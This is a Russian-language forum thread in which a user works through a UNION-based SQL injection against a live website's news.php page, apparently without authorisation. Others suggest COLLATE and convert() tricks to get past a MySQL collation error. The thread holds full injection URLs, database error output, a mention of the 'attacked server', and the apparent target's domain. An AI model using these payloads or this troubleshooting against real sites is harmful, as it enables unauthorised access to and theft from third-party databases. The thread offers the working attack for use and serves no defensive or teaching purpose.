Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
MySQL и кодировки, Народ, как можно избежать ошибок с кодировками
 
Пытался получить системную инфу с помощью запроса:
http://www.site.com/news.php?ID=9999+union+select+null,DATABASE(),null,null,null,null/*
Но получил такое сообщение:
News Query Failed: Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
Насколько я понял тут проблема с кодировками. Подскажите мне как можно успешно провести мой запрос?
 
Можно посмотреть СЮДА. Это дока по collations в MYSQL.

Я советую перед union'ом вставить COLLATE utf8_general_ci

получится:

COLLATE utf8_general_ci UNION SELECT NULL,DATABASE() blablablabla и тп

В этом случае мы попытаемя изменить collation для 1-го запроса, чтобы он не конфликтовал
с нашим.

либо ещё вариант:

UNION SELECT ...........   COLLATE latin1_swedish_ci

т.е. здесь уже collation изменяется для нашего запроса, избегая конфликта с 1-м.

Экспериментируйте.
 
Пасиба!!! Ща буду твою доку читать =)
 
Когда пробую вот так:
http://www.site.com/script.php?ID=999+UNION+SELECT+0,DATABASE(),0,0,0,0+COLLATE+utf8_general_ci/*
вот такой глюк выскакивает:
News Query Failed: COLLATION 'latin1_swedish_ci' is not valid for CHARACTER SET 'binary'

А вот куда вставлять "_кодировка" я не понял...
 
Прочти мой пост внимательнее, там ещё способ был куда определить COLLATION.
+ Можно попробовать разные collations на выбор (например - binary) и тп.

Удачи.
 
Я во все места запихивал этот COLLATE и на локалхосте и на аттакуемом серваке - ничего не выходит =/ Пробовал и  latin1_swedish_ci' и utf8_general_ci Щас попробую так: COLLATE'binary"
 
Razor,, успешно? Мне аж самому интересно стало, первый раз такое встречаю =)
 
convert(database() using utf8)
 
ZaCo, здарова! Я тя знаю, ты с Zadoxlik'ом Хакер.ру взломал...
Первый раз встречаю такую функцию convert()...Ща попробую конвертнуть базу
 
Нихрина не получается...
News Query Failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'convert(database() using utf8)/* ORDER BY publish_date DESC LIMIT 0, 4' at line 1
 
вообще я знаю что тип binary может и не обрабатываться нормально, но все таки такой ответ довольно странный. кинь  ссылку на сайт.
 
www.frontalprotectionsystems.eu/news2.php
Страницы: 1
Читают тему